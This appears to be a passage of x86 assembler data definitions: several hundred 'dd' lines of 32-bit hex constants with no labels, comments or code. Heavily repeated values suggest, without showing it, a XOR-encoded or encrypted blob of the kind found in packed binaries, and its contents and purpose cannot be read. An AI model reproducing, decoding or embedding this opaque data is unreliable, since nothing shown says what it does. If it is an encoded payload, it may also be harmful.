dd 74A7CF69h, 2F54A7BFh, 0ED931722h, 750658CDh, 0AE96CF54h
dd 2BE8D193h, 0E6D91E53h, 0A8E30153h, 0E0605432h, 3683A7F4h
dd 75301722h, 1AB55DB2h, 7D07928Dh, 0C1794F0Bh, 15661CDBh
dd 2ED54432h, 4675DA44h, 1DD6C05Dh, 0A09971A5h, 13769577h
dd 9FE3C9CBh, 756031B7h, 0AA692480h, 0C599E9CBh, 156CC83Dh
dd 73062232h, 0A3ACC8B3h
dd 74960354h, 3AD3C1BBh, 45062422h, 4B7FDCB2h, 8EBB60B3h
dd 0D3077512h, 545C7B7h, 58F5634h, 0E4668832h, 0EE314CC2h
dd 0D02EAF22h, 51550C24h, 7D3D75D3h, 94BA5448h, 8CD3DDCEh
dd 0FC600126h, 1566883Eh, 0F392868h, 6488771Fh, 2E59B6C1h
dd 0E6D8EE52h, 90EB25ACh, 13761800h, 15709B3Dh, 0FC068832h
dd 1566443Dh, 0A8DBC8CDh, 0A9E4C5D4h, 7F7C82F6h, 742DAB09h
dd 1A9FF2CDh, 156607BBh, 15776132h, 29EB4432h, 0E68AE65Ch
dd 923B0282h, 0ECBC8517h, 9CD4AB9Eh, 57C53B7h, 1DEB1E34h
dd 75668832h, 3EC5FB54h, 0D3077862h, 545F4B7h, 7D9ACF34h
dd 9F69F1D0h, 156AA73Dh, 99691132h, 15668834h, 1566C23Dh
dd 0A0992232h, 137605ABh, 1572003Dh, 1A8F4432h, 89662232h
dd 6CA2D09Ah, 0DEEB6D07h, 96199411h, 90EBFD7Bh, 13762B00h
dd 156685DBh, 0C0EAB732h, 703498AAh, 1EEFBD01h, 0C599B3A3h
dd 0A2691252h, 9C077DF8h, 2C37FB7h, 19E28734h, 1A664432h
dd 156624B0h, 15E81E32h, 75668832h, 15664DDBh, 8AC47F32h
dd 5D653E1Bh, 75373359h, 0D2071F53h, 54157B7h, 15666934h
dd 0AA69E832h, 93C6FEFCh, 75072533h, 8490A954h, 74A40354h
dd 250BF9B1h, 1A662422h, 157F18B6h, 90A07032h, 137667D7h
dd 1D8E427Eh, 0F4661132h, 91611C80h, 0A4C2B1EEh, 108F7A84h
dd 0D6661132h, 623DAE03h, 98F2C53h, 9F06FBE8h, 74A49ACFh
dd 1FF3DCDh, 989F4222h, 55C10B7h, 156AF834h, 1C8F8832h
dd 0CF69A6Eh, 0D7D24971h, 0C5999B71h, 156686DBh, 0CEA27F32h
dd 0E8FE7CC0h, 0B6A67C3Eh, 9CF05917h, 2C31EB7h, 9CD94234h
dd 1A3D9777h, 0D3074685h, 545A1B7h, 9E066E34h, 1576F8EAh
dd 41008832h, 2169DC02h, 60E05B15h, 482CE0F7h, 7D07040Ah
dd 0C8129AFCh, 10E52D52h, 73661132h, 6445EB3h, 156656DBh
dd 0F1F32932h, 32C48463h, 4AA54E75h, 131E02D9h, 74364C22h
dd 1FFA4CDh, 68F8E22h, 0E1664432h, 6349744Ch, 0DC32B468h
dd 7F015869h, 0FC265154h, 90EBC4DEh, 13762B00h, 0D2E7E8C7h
dd 157F9C3Dh, 0EA079982h, 128E71E2h, 0C668832h, 6B4D009Fh
dd 31D3F5F1h, 9969706Ch, 15668833h, 4BE3CDC7h, 0EC603597h
dd 368394F4h, 0FC2A8E22h, 15664437h, 0B268C894h, 1561F822h
dd 0C0CF8832h, 6BFA1421h, 97594A7Ch, 0E006A6B3h, 15669CDAh
dd 0E6D6D732h, 5836E886h, 0D33F5342h, 0B9B3C04Fh, 0C3753779h
dd 0C4E744CBh, 7439536Eh, 156687DBh, 0D0A5F032h, 4F72AB0Dh
dd 6F7A3C59h, 0E0ADB7C5h, 1FFF1CDh, 73062422h, 0F3A5FEB3h
dd 74B50354h, 2F54C1BFh, 1A062422h, 1B8FD685h, 47668832h
dd 313CFB10h, 0CAE0D1A8h, 52734630h, 198FE976h, 0D2664432h
dd 5C615D06h, 0E247B59h, 0EAAD2778h, 9C9EBCE2h, 2C340B7h
dd 7E11E34h, 0FC668832h, 1566443Fh, 1C873A56h, 0EEC690F6h
dd 0E9477609h, 90A0B8C6h, 137601D7h, 19EF1E7Eh, 1A668832h
dd 156642BFh, 15EA2D32h, 1A661132h, 156689BEh, 0D0EBD32h
dd 0E9D50D72h, 1FFA4CDh, 989E8E22h, 55C76B7h, 156FCB34h
dd 8CC1132h, 0E1C8CFCDh, 0FC49124Ch, 15662238h, 0C657B79Bh
dd 0A2C1F388h, 0C59985CFh, 15662ADBh, 0F43C7B32h, 0A9B07409h
dd 77E3CDEAh, 75603597h, 45B59A54h, 15669CDBh, 68108C32h
dd 1E7A8E0Ah, 0DAC821A8h, 8FC5F782h, 55B7032Ah, 75077AE7h
dd 1563F862h, 0FC378832h, 4D40ACF1h, 0D307E9B9h, 545F4B7h
dd 7593CE34h, 156641DBh, 65F55D32h, 58F5CDAh, 0C3668832h
dd 29289CA3h, 581C7013h, 3007C30h, 7455598Ah, 0CB60505Ah
dd 4A304288h, 74AC9A54h, 1FF3DCDh, 95064222h, 0AC00BDF4h
dd 9807C7E3h, 55CBAB7h, 45DF2434h, 1A2310ABh, 156617B1h
dd 15EF8732h, 74664432h, 1A8FF2CDh, 72661132h, 2F33D916h
dd 5546A68Dh, 0CECEE478h, 90EF5364h, 13712D58h, 0AB9CCF52h
dd 5A2A0FE8h, 0F0E3D753h, 52609811h, 51C2CCBh, 1A06A3EEh
dd 156614BDh, 0CDE7EE32h, 9400FCD7h, 749CDEE1h, 1FFA4CDh
dd 0FC068E22h, 15664438h, 317B43F4h, 0D738CDA5h, 9169F6E7h
dd 15664430h, 98077861h, 55C23B7h, 15616134h, 10314432h
dd 0B5C3CC73h, 75B6EE0Dh, 9C0776B9h, 2C336B7h, 90A0DE34h
dd 137632D7h, 15606175h, 1E284432h, 9B129D8Eh, 92E8BD5Ah
dd 1FE987DDh, 75664432h, 9E694352h, 15661132h, 8CD37753h
dd 75605426h, 15662BDBh, 0EFD0B732h, 0F853F9EAh, 57DE1572h
dd 747E9FCDh, 1567903Dh, 989F8832h, 55C76B7h, 156ECB34h
dd 5B621132h, 39E46C82h, 0EA9ED8CDh, 12ED2DE2h, 75661132h
dd 5A095A8Ch, 90EF252Eh, 13718744h, 0F0E3D7C7h, 52609811h
dd 156657DBh, 0D7796E32h, 1AD9ACFEh, 0A6FE8C47h, 0EB63B95h
dd 798D9FD2h, 8FC1C35Ah, 0A106E8E6h, 0E6ED2266h, 1EEC2D53h
dd 0FD661132h, 15668837h, 2A29459Dh, 75077861h, 6D76D1B3h
dd 9E008082h, 0A09925CBh, 137636ABh, 15679D3Dh, 989E8832h
dd 55C76B7h, 1DEC2D34h, 1A661132h, 15668AB7h, 0FC072432h
dd 1566223Ch, 1CC35018h, 946013D2h, 815725A0h, 0C59987EEh
dd 0CEE1ECAh, 0FC668832h, 15664426h, 53D2B7Ch, 8BFFF21Fh
dd 837EEB5Eh, 0CC49DB0Ah, 55996269h, 0B01C94BBh, 58F8E25h
dd 74664432h, 0F33BA20Ah, 9CB87646h, 3F897CB7h, 0D3969775h
dd 545C7B7h, 9E695634h, 15668835h, 1567C83Dh, 7D932232h
dd 0AFA72836h, 1573083Dh, 58F4432h, 9A662232h, 5C2DA33Ch
dd 39547F45h, 850DBDh, 0E0A62FE9h, 1FFA4CDh, 989E8E22h
dd 55C76B7h, 13EB2D34h, 75661132h, 0ED96373Dh, 0EDB6BB53h
dd 0B018A7BBh, 969E1725h, 577498Fh, 90694434h, 15662291h
dd 1560903Dh, 0E9068832h, 74E5A6B2h, 3683A7F4h, 0FC211722h
dd 15668820h, 59F00070h, 29EFB5D5h, 881DD9F8h, 0AB1E0625h
dd 720E46DBh, 1A86501Fh, 156619BAh, 9C69E832h, 15664432h
dd 8CD3DD53h, 0FC600126h, 1566883Fh, 7F103BEFh, 7579981Dh
dd 0B85CE2BCh, 7EC8715h, 0FC664432h, 1566223Fh, 2A7A311Ch
dd 272CCC74h, 38F942B3h, 27E3AF7Ah, 1A600108h, 156684BCh
dd 13E84B32h, 1A662232h, 156611BCh, 1DE48732h, 1A664432h
dd 156620BDh, 0EA077132h, 99D7E8E2h, 0EC07AFB8h, 0B0E4A7BBh
dd 0D39E1725h, 5456DB7h, 93690334h, 1566222Ah, 1568F952h
dd 1E028832h, 545DF0D0h, 2F10ED76h, 7482F460h, 7407E86Ch
dd 3CD5F55Ah, 1B8E42BCh, 31661132h, 0BB3F9241h, 12D82AE4h
dd 0E34DDE2Ch, 0AC0049EEh, 0ED0741BCh, 1FFF1CDh, 188F2422h
dd 45661132h, 5F93EA89h, 0F405C74Bh, 823B150h, 2F5494BFh
dd 9E698E22h, 1566442Ah, 1576CA52h, 5D131132h, 0BFC587EFh
dd 0B5053030h, 9817627Fh, 743DCC2Dh, 108F58CDh, 0CF664432h
dd 568FF39Ch, 0B0E094BBh, 0D39E8E25h, 545A1B7h, 18F6134h
dd 13661132h, 7990739Fh, 67DE2549h, 90ABCE0Ch, 0EC6B9B42h
dd 7D4AD94Fh, 0D5100E95h, 1568AA3Dh, 1C8F1132h, 61668832h
dd 0C1077B1Fh, 3C815C55h, 1FFA4CDh, 108F8E22h, 69664432h
dd 0F375E168h, 2F5494BFh, 98698E22h, 15664433h, 0FCB6DDCBh
dd 1566113Dh, 19E94142h, 804893D5h, 4EA8523Bh, 9C68226Dh
dd 2C302B7h, 1560AD34h, 2C672232h, 6763EF05h, 36830DF4h
dd 0EC2A4222h, 730AC95Ah, 0A099E9C9h, 1376A8D7h, 156650DBh
dd 4E992332h, 615750CCh
dd 5719019Ah, 0BA5843ACh, 0C7331BCDh, 27E39CC6h, 0ED609808h
dd 9C9A94CDh, 2C03CB7h, 1574F834h, 7B338832h, 70D55271h
dd 0F0B66B78h, 2D641748h, 0B156F899h, 3683C1F4h, 75222422h
dd 15729B3Dh, 1B8E8832h, 65664432h, 0EB52AACCh, 81A34756h
dd 936B11B2h, 188E1DF3h, 15662232h, 30E22FE8h, 0E759A01Eh
dd 0CD825208h, 74387B61h, 156601DBh, 18B0932h, 7CEDCE6Ch
dd 0AAE950C9h, 5CB62C93h, 9B33E06Ch, 0EA93FF41h, 572BB87h
dd 12EA1E34h, 1A668832h, 156645BFh, 90EBD732h, 13762B00h
dd 156686DBh, 3BA39432h, 0D4025D69h, 0D385B5DAh, 75617165h
dd 7531FE80h, 0EA077A53h, 1A9E71E2h, 15668AB1h, 74072432h
dd 0B0E8A7BBh, 68F1725h, 8C668832h, 60B307B1h, 0AF6A76E0h
dd 0B56777ECh, 4FFEFD49h, 1A065BC5h, 156626B0h, 3DE7732h
dd 0FBE7EE05h, 0D307C20Bh, 545C7B7h, 7D9F5234h, 0A9E8E6CEh
dd 5E04B52h, 0FD662232h, 15661138h, 0C1B47DC8h, 92448E6Ch
dd 733E8452h, 0FEA9D1B3h, 8CD37753h, 0E0605426h, 2F54A7BFh
dd 1A8F1722h, 0B1668832h, 1AB5157h, 0B7D544Ch, 50FB201Ah
dd 0C5999995h, 7380CE52h, 7E86E2B3h, 9AD87153h, 0FD02471Ah
dd 15664437h, 12465D05h, 9C0749B2h, 2C31AB7h, 1569AD34h
dd 0EAD42232h, 0FBC17DF0h, 8B556701h, 8C82A34h, 0F0E3E469h
dd 46600111h, 15776052h, 250B4432h, 44B12229h, 1FA7E774h
dd 3830B427h, 4ED834ABh, 4AA4A965h, 2BCC7953h, 0EA9A4E22h
dd 572DD87h, 19E02D34h, 1A661132h, 15668EB6h, 15EA4B32h
dd 98662232h, 55C23B7h, 15606134h, 0A9684432h, 3B30CD62h
dd 9969C1CDh, 1566883Ah, 0EBED2252h, 74B0A954h, 0B0F094BBh
dd 92698E25h, 15664433h, 36D742CEh, 15E21E52h, 74668832h
dd 0BCDBC753h, 15603200h, 164C953Dh, 75068832h, 43949DB2h
dd 0AA00436Bh, 0D3079374h, 5456DB7h, 92690234h, 15662225h
dd 1577923Dh, 198F8832h, 0AA664432h, 8A8783Bh, 16B55909h
dd 7516CDBEh, 9D7FFD52h, 749E79D2h, 156603DBh, 7F203532h
dd 0D339CC6Dh, 0C83AD499h, 0F1FF2889h, 745D8ED7h, 83A8755Ah
dd 14E42DC8h, 0E0661132h, 1FF3DCDh, 94694222h, 1566223Ah
dd 15649A3Dh, 74068832h, 2F54C1BFh, 1A8F2422h, 6F661132h
dd 0B4692357h, 6679075Fh, 262F9D95h, 9169C282h, 15668822h
dd 156CC63Dh, 108F2232h, 8C661132h, 0C88C177Fh, 950694CDh
dd 9400F8F2h, 74798BC2h, 0B0940DBBh, 198F4225h, 60662232h
dd 41144FFEh, 0E2D72BDEh, 0D3392F8Eh, 545C7B7h, 0FC9E5734h
dd 15668838h, 722D6421h, 0DB3C2B8Dh, 0C30E2A2Fh, 1A9A2F08h
dd 156648B7h, 13EA2D32h, 1A661132h, 156688B0h, 8CD3BB32h
dd 0FC603226h, 1566113Ch, 0FCF1CF1Ch, 0AF2049EBh, 34BD8B42h
dd 7506E705h, 652F438Dh, 1C8E2571h, 0E5662232h, 64544BD7h
dd 9EE5A9DDh, 1566C13Dh, 74392232h, 2F5494BFh, 0AB068E22h
dd 374D6497h, 21B0A354h, 0C599701Fh, 1567063Dh, 9C9E4432h
dd 2C020B7h, 90A0E934h, 1376ABD7h, 150EB874h, 1AF4DE96h
dd 156610B6h, 0EA9E7032h, 572DD87h, 156ECB34h, 67CC1132h
dd 20E7BBFAh, 90EB03CFh, 13761800h, 156618DBh, 0A67E3E32h
dd 46170A15h, 0C5992317h, 1AF9A252h, 9C07718Dh, 2C042B7h
dd 14E42D34h, 0EC661132h, 36830DF4h, 75204222h, 74A9A954h
dd 0C1297B5Ah, 156961C4h, 25384432h, 7A5C0710h, 3793DB91h
dd 4815358Ah, 8CD3BB15h, 75603226h, 19DFBB80h, 7403D5D1h
dd 27E3C9C7h, 75603208h, 0EA07EBB9h, 1FE187E2h, 0FC664432h
dd 15662237h, 0B15780D3h, 1FE30168h, 0E9605394h, 3683A7F4h
dd 1A201722h, 15668FB8h, 0A2692432h, 74B894CCh, 0D836F65Ah
dd 0FC93E8A6h, 15664434h, 36925B97h, 0FC0711B9h, 15668837h
dd 5E2F63B6h, 8CD3DD8Ch, 75600126h, 2BB3EF8Dh, 0C3E72275h
dd 1A07046Ah, 156619BAh, 17E68732h, 75664432h, 27E3AF53h
dd 0E0600108h, 1D8F58CDh, 0A1664432h, 8BC4A078h, 1AF418D5h
dd 156689B0h, 90EFBC32h, 137187C4h, 0E7E77752h, 0D3073C20h
dd 545A1B7h, 1C8F6434h, 12661132h, 70622896h, 0E5FC0F87h
dd 3712195Ah, 0E4ED7183h, 0A0997153h, 137650ABh, 27E3AFCAh
dd 1A600108h, 156689BAh, 1C8FB832h, 61662232h, 704B3BAFh
dd 6FDD8036h, 48F94CDh, 0A5662232h, 4F3BDD50h, 34FF9488h
dd 0A83F6F37h, 1BE651D8h, 0EFE398C7h, 1A609F97h, 156645B5h
dd 9C69DB32h, 15661124h, 156699DBh, 46725432h, 0BD9C04ACh
dd 0F47F5F2Dh, 0FB6C880Ah, 90A07F2Ah, 137601D7h, 0B3DC7174h
dd 0EC1A4BB6h, 0FF8B2C53h, 0EA9FFD4Bh, 5728887h, 4F36E834h
dd 9807AAB8h, 55C10B7h, 0C599E834h, 64A40852h, 0EBE3CD53h
dd 0ED603597h, 4A7ACB1h, 1A668E22h, 156618B7h, 0D39ADB32h
dd 545F4B7h, 7506DB34h, 74B5FB3Dh, 7D07C987h, 0DBD8F16Ch
dd 15670A3Dh, 0EA934432h, 572BB87h, 188FED34h, 2B668832h
dd 49CD3078h, 9960752h, 668773DDh, 2F540DBFh, 108F4222h
dd 0E5662232h, 0EA4403A3h, 730658CDh, 43B9C28Bh, 9BA69D54h
dd 90EF706Ch, 13712DA8h, 0F0E382C7h, 52603211h, 0E7ED7752h
dd 0FF2441B3h, 7D0727A8h, 0D2D77CB5h, 156617DBh, 5FB54932h
dd 0EA08FA45h, 572BB87h, 11EF1E34h, 75668832h, 98072552h
dd 55C10B7h, 5E71E34h, 0FC668832h, 15664439h, 2104EA89h
dd 0A676B0DAh, 0ED105F0Dh, 1E8F94CDh, 0A3662232h, 2017C9C8h
dd 6C37C8DFh, 9169F1CAh, 1566223Dh, 15661BDBh, 6C85C532h
dd 172AA7F8h, 9C799C84h, 2C38FB7h, 156B6134h, 6CD84432h
dd 6FCFA36Dh, 0DCF136C0h, 750E5CA6h, 15664BDAh, 0BB4C0632h
dd 2978D6D3h, 1E50CEA3h, 98EAEFF6h, 753EC4B8h, 156605DAh
dd 102A9432h, 0A3D6549Ah, 0A482D72Eh, 3DD17DC0h, 0D7BB65B2h
dd 98691CA0h, 15662232h, 0A8E57053h, 137699F3h, 9CE34B32h
dd 75662232h, 0DAED4087h, 0F0E34E53h, 52605411h, 6B634ACAh
dd 0AB06F750h, 5D89A9EAh, 15664ADBh, 14D67332h, 0FA140AF8h
dd 1CFF3CAAh, 74D5DB9Eh, 1FF97CDh, 75061722h, 18F78B9h
dd 1664432h, 4C741C72h, 0ADD56A84h, 24C28EF6h, 36552673h
dd 747C5F4Ah, 74BFAE3Dh, 2F540DBFh, 58F4222h, 0E7662232h
dd 0B0F0AE3Ch, 0CBAC8AEAh, 85ED5704h, 0EA24169Eh, 156DF8E2h
dd 84A88832h, 0FA5D7D2h, 7EB68D3Bh, 0B7E39851h, 0E0609F97h
dd 3683C1F4h, 1A252422h, 156607B8h, 15776132h, 49254432h
dd 0C20191EAh, 9DCAD59Ch, 3FAE0B0h, 7DE20D54h, 871C2BC4h
dd 0E6ECE452h, 8CD37753h, 0FC605426h, 1566223Eh, 8E75A38h
dd 9ECF0836h, 5A455C74h, 1569CA52h, 0E10F1132h, 505F87E1h
dd 97E06869h, 99CAAAB4h, 4BA19A6Eh, 0D1AF59B3h, 9807365Ah
dd 55C10B7h, 0C599E434h, 0B3E301CAh, 0EC605397h, 3683A7F4h
dd 1A251722h, 156684BBh, 13E74B32h, 1A662232h, 156611B9h
dd 8246E032h, 9269B813h, 15662233h, 8CD3EEC7h, 1A609826h
dd 15665EB1h, 1E72D32h, 0FC661132h, 1566883Dh, 6753304Eh
dd 0EBD394Bh, 587E913Fh, 0E09B209Ah, 2F54C1BFh, 0FC062422h
dd 15661139h, 4CCD5757h, 7CCC9C0Fh, 0AB313096h, 4387E6BAh
dd 1AB67753h, 15664EBBh, 1563CB32h, 0C71B1132h, 9C921F5Eh
dd 2C3EEB7h, 11EB2D34h, 75661132h, 96075EB9h, 577858Fh
dd 90692234h, 15661014h
dd 15669BDBh, 57BCE832h, 798C6E19h, 145B493Dh, 0E9B240FFh
dd 1334118Bh, 3683A7F4h, 1A251722h, 15669AB2h, 156BAD32h
dd 0A8E62232h, 8787E2F9h, 3054EEB3h, 7D8783F8h, 9E668A31h
dd 156616DBh, 0A0529D32h, 0B2FE1C36h, 1FF97CDh, 73061722h
dd 980743B9h, 55C76B7h, 34D84234h, 7342D09Ah, 745E1688h
dd 9C6994CDh, 1566223Eh, 1560933Dh, 99698832h, 15664432h
dd 0B0D4A7BBh, 0D3931725h, 5456DB7h, 78F0734h, 5662232h
dd 0D4F387DDh, 0E0D0631Dh, 87F1674h, 8D98221Eh, 23B379AFh
dd 95696D69h, 1566443Ch, 15662BDBh, 0DA2E6632h, 2A6A2F18h
dd 0EA9E6E44h, 572BB87h, 156FF834h, 0E6A48832h, 5541217Ch
dd 980A36F9h, 55C23B7h, 0EA9A7034h, 0F5E724E2h, 3380FB9Bh
dd 0FC07FEB8h, 15668839h, 894918BAh, 0F4627E1Dh, 9C88810Fh
dd 2C326B7h, 90692434h, 15662226h, 15661EDBh, 6AE68232h
dd 137211C1h, 616B6546h, 411813F6h, 156698DBh, 6709A732h
dd 0ABFAB2E9h, 25252197h, 53BFA823h, 90A025FCh, 137601D7h
dd 0F40EE471h, 758C2200h, 8F87C560h, 4F01A506h, 156617DAh
dd 1BA71A32h, 0FC30103Eh, 15662234h, 3687A30Eh, 743F9D14h
dd 1FFF1CDh, 1F8F2422h, 0BB661132h, 2F38CC78h, 76D26ED8h
dd 27E3AF52h, 0E9600108h, 156F6152h, 39D94432h, 0BA06A418h
dd 73595E33h, 0DB7362B3h, 75B6BB53h, 775A118Bh, 0A4D87762h
dd 90EFE9DAh, 1371E184h, 90A0DBCAh, 137632D7h, 0CEB8771h
dd 0FC664432h, 15662226h, 997BA8C6h, 681040EDh, 1E7AE80Ah
dd 0DAC812A8h, 8FC56E82h, 0E4CABF5Ah, 10EB4BB6h, 75662232h
dd 74A5AE3Dh, 1FF3DCDh, 98934222h, 55C10B7h, 0C599ED34h
dd 0AFE301CBh, 1A605397h, 156626B2h, 0CDED7132h, 0F0E34E53h
dd 5A605411h, 0DAD12D52h, 1564973Dh, 4B368832h, 0C10EBC53h
dd 0FCF117A2h, 1566113Ch, 98820912h, 0E310A7E6h, 37EE6E83h
dd 9469FAFFh, 15668833h, 8CD3BBC7h, 75603226h, 15E01E52h
dd 1A668832h, 156644BAh, 0FC064332h, 1566113Ah, 417664E1h
dd 767F34F8h, 0C8B4638Ch, 0ED07703Fh, 2F540DBFh, 0EA934222h
dd 14EB2DE2h, 0ED661132h, 0B0D80DBBh, 99694225h, 15662233h
dd 0FC0671CBh, 15668821h, 0E24EF0EBh, 3C69616Fh, 30B3E2CDh
dd 0E314E821h, 73BAFD67h, 742E198Ah, 15669A3Dh, 0D3078832h
dd 545A1B7h, 98696D34h, 1566112Ah, 15669BDBh, 9E6CF332h
dd 14C197DBh, 652EF325h, 4B4D6C45h, 0D9E22A5h, 7B68205Ah
dd 0A099E8CBh, 13769CABh, 1572CE3Dh, 0FC062232h, 1566113Fh
dd 0F7D36AA0h, 45EEFE1Ch, 5F934089h, 90EB704Bh, 1376B200h
dd 0EDB6BBCBh, 15662CDBh, 9E486432h, 0CD9F669Fh, 59C78814h
dd 9C7689AAh, 2C3D3B7h, 57D0E834h, 0FAA9C552h, 755255ECh
dd 0D3077053h, 5456DB7h, 94060934h, 0B28BDBFCh, 94004250h
dd 4E7B34E0h, 6C2F2C53h, 9569EA05h, 15661135h, 1567053Dh
dd 0EA934432h, 572BB87h, 90EBE934h, 1376B200h, 4AD82252h
dd 0E6E7448Ch, 0EA07FDD3h, 90EF7DE2h, 1371E1F8h, 0F0E3E4CAh
dd 58600111h, 15668FDBh, 0E3961B32h, 0C6F7D149h, 0E22B985Ah
dd 1BE187EEh, 0FC664432h, 1566223Bh, 84ADFA00h, 45E75C49h
dd 12EC4B08h, 75662232h, 0CCE64A61h, 0A099E93Fh, 137650ABh
dd 1567AF3Dh, 98931132h, 55CBAB7h, 0FC362434h, 1566223Eh
dd 52C96758h, 52F2FAACh, 50270EDFh, 15ED2D6Bh, 74661132h
dd 976958CDh, 1566442Bh, 156636DBh, 0DB47F132h, 0B0FB5948h
dd 2ECD55AFh, 585BCEFCh, 0C353B149h, 0D3E30189h, 0E0605397h
dd 3683A7F4h, 0EC331722h, 0E4BBF5Ah, 14E04BAEh, 0E0662232h
dd 1FFA4CDh, 1F8F8E22h, 26664432h, 40E24CCEh, 5DC0AF4Dh
dd 27E305E6h, 0E0605408h, 9C9EF2CDh, 2C3DFB7h, 1C8FE834h
dd 0E7664432h, 0A9DC5893h, 5AC1126Eh, 1572023Dh, 1A8F4432h
dd 3F662232h, 9E20ADD6h, 1CA3F537h, 0B107EBF2h, 0FC07D838h
dd 1566113Fh, 31A65071h, 98E71F3Ah, 676D769Dh, 0F0E3D74Dh
dd 56609811h, 3F0EBDC7h, 0FCB4F7C2h, 1566113Eh, 9A9AEAB2h
dd 8DFD26ABh, 0F0D991A2h, 1FFA4CDh, 78F8E22h, 2B664432h
dd 5AA42A27h, 5AE6AB44h, 1E2B4576h, 7DBD587h, 27E3AF24h
dd 0FC600108h, 15668826h, 27C24DB3h, 7228A759h, 96E04E7Ah
dd 4C893134h, 8C2D269Bh, 68FF2CDh, 9C661132h, 183142A7h
dd 825766B6h, 92C21E11h, 0F9E435F0h, 90EF3103h, 1371E1E0h
dd 0DCAEA352h, 0FD52B36Ah, 15668839h, 0C2FBFF43h, 0E541B776h
dd 7374491Ch, 743E70B9h, 3683C1F4h, 75342422h, 1C84E0B3h
dd 9C698AE3h, 15664436h, 0DAF19954h, 0A18C7953h, 0EA9F7570h
dd 572DD87h, 1561CB34h, 0A8331132h, 967E2EBCh, 27E3C9C2h
dd 1A603208h, 15661DB3h, 13EF8732h, 1A664432h, 156622B1h
dd 0EDB6EE32h, 7CE301CEh, 1A60543Fh, 156631BEh, 1568F832h
dd 7D5E8832h, 4D594A40h, 6AFEA2BFh, 2F8ED6A9h, 1570083Dh
dd 9E694432h, 15662222h, 15661ADBh, 0ABF42432h, 0D61DE271h
dd 632EAAF0h, 368394F4h, 75218E22h, 0FC06ABB8h, 1566223Ah
dd 57C0796Eh, 58005ACDh, 9E86C554h, 7D074399h, 0F7FE48ABh
dd 15670E3Dh, 0EA9E4432h, 572BB87h, 90EBE434h, 1376B200h
dd 1567CC3Dh, 1A932232h, 156616BAh, 14E48732h, 0ED664432h
dd 128FF2CDh, 9661132h, 0EBE73283h, 90EF0A1Dh, 137187E4h
dd 0B0859052h, 7469C7E0h, 13EA4B52h, 94662232h, 0D92978D2h
dd 48FE800h, 0EB664432h, 7399D4BEh, 4AA1C9E2h, 0B9C99D3Dh
dd 7865C6F7h, 15662BDAh, 9FDF6A32h, 5352983Eh, 743ED181h
dd 0F0E3E453h, 52600111h, 75A4E0CEh, 0ED06F5CFh, 4290A354h
dd 0A0997016h, 13769CABh, 157CCD3Dh, 75062232h, 1576F953h
dd 94B98832h, 0BF276D1Bh, 0D8C74D9Ah, 0D0CB91DAh, 74385C4Bh
dd 2F54C1BFh, 94062422h, 0CB6211D3h, 156F6141h, 79434432h
dd 1218A5A2h, 74F28A6Ch, 936958CDh, 1566443Eh, 1560A53Dh
dd 92691132h, 15668832h, 0B0BCC1BBh, 1F8F2425h, 0F3661132h
dd 0C731910Eh, 0C2B4F27Ch, 0F0E3E441h, 52600111h, 0EB72E0CAh
dd 9F699B94h, 15662233h, 8CD3EECAh, 0FC609826h, 15664434h
dd 81EB0691h, 90EB6BBAh, 1376B200h, 156EC53Dh, 96692232h
dd 15661130h, 0C599E952h, 90EFB8CAh, 137187ECh, 156600DBh
dd 0CB045232h, 0B99C26ECh, 37949554h, 0B08B492Dh, 90A0775Fh
dd 137667D7h, 0D7E7426Dh, 57DB8B7Ch, 749C373Dh, 45942C5Ah
dd 7306D7ACh, 0FC4B8D8Bh, 15668835h, 1DB8C0CBh, 74A7C677h
dd 1FFA4CDh, 9E698E22h, 15664439h, 0FBA5A352h, 7330879Bh
dd 98077BB9h, 55C76B7h, 78FDB34h, 0C6661132h, 95386264h
dd 0F0922F31h, 747EC664h, 57BA40Dh, 75B6776Dh, 9400B4B8h
dd 74B947DDh, 0B08494BBh, 9A698E25h, 15664433h, 0CEE2DCEh
dd 0FC661132h, 15668826h, 9AEDA42Bh, 0FA24948Ch, 0FE483DAh
dd 741F5040h, 648C8F7Ch, 3683A7F4h, 0FC291722h, 15668823h
dd 538A0DACh, 0B9F5B909h, 0BE7441DBh, 2B6DE8F0h, 6E592C79h
dd 0EA9AE5CEh, 5728887h, 156D6134h, 0B23D4432h, 54C90265h
dd 46CF29C2h, 27E305EFh, 0EC605408h, 75B6DDCBh, 156618DAh
dd 9B63CA32h, 4335ACCh, 74068E21h, 3E51E69h, 0FC668832h
dd 15664423h, 1CBD7380h, 9F6AD53Ch, 90F9A6B3h, 5EE7B538h
dd 90EF43C4h, 1371B73Ch
dd 1561073Dh, 9D694432h, 15662233h, 0F0E3D7CEh, 52609811h
dd 156EC53Dh, 95062232h, 0F6E6E5F5h, 590EE94Fh, 759C1F5Ch
dd 15662ADBh, 0B0A95832h, 0F0E70B45h, 14EE4B63h, 0E9662232h
dd 8CD3EE53h, 0FC609826h, 1566443Dh, 0F917D368h, 0A479403Ch
dd 0BFD72409h, 9889DE4Ah, 55C10B7h, 0C599E934h, 156683DBh
dd 2CDE932h, 0AB5A62Eh, 159F17F1h, 0B3740DBBh, 9B694225h
dd 15662223h, 15661DDBh, 76842032h, 4D853244h, 62D2BC83h
dd 0F0E3D74Ah, 52609811h, 0F3E72252h, 976969B4h, 15661130h
dd 0FC074EB9h, 15664435h, 0A7D43DCEh, 7DB748F5h, 0D660ACFFh
dd 15664DDBh, 0D5103732h, 3912A20h, 90690C6Dh, 15664436h
dd 74B5A852h, 1FFA4CDh, 1A938E22h, 156643B2h, 14ED2D32h
dd 0E0661132h, 2F540DBFh, 99694222h, 1566223Eh, 86DF7752h
dd 0F0AC091Eh, 741B74AFh, 9C93F2CDh, 2C007B7h, 19E98734h
dd 75664432h, 66D0228Dh, 99E3A84Bh, 0D3078824h, 545A1B7h
dd 99697D34h, 15661135h, 15670D3Dh, 7D9E4432h, 0C1DD42FEh
dd 1575F852h, 0B59E8832h, 82F4233Ah, 33CA98B8h, 186C781Ah
dd 1BB6C44Bh, 0AF06259Fh, 2AF57212h, 74B8AE3Dh, 1FF3DCDh
dd 0EC064222h, 15E12D61h, 4E661132h, 1DEA8753h, 1A664432h
dd 156620B8h, 98077132h, 55CBAB7h, 156FAD34h, 93DD2232h
dd 8F5056E5h, 0EA658ECFh, 1561ADE2h, 2EA52232h, 61EB9554h
dd 0F3E30176h, 0ED605397h, 3683A7F4h, 0E0391722h, 0FC32C65Ah
dd 9669B1ACh, 1566223Ah, 1564983Dh, 74068832h, 1FFF1CDh
dd 44062422h, 15669E3Dh, 733C8832h, 980782B9h, 55C10B7h
dd 0AB007134h, 0EA077B06h, 936924E2h, 15662232h, 6BBC4389h
dd 90EFE964h, 1371E1D8h, 90A0D7CEh, 137632D7h, 198FE86Dh
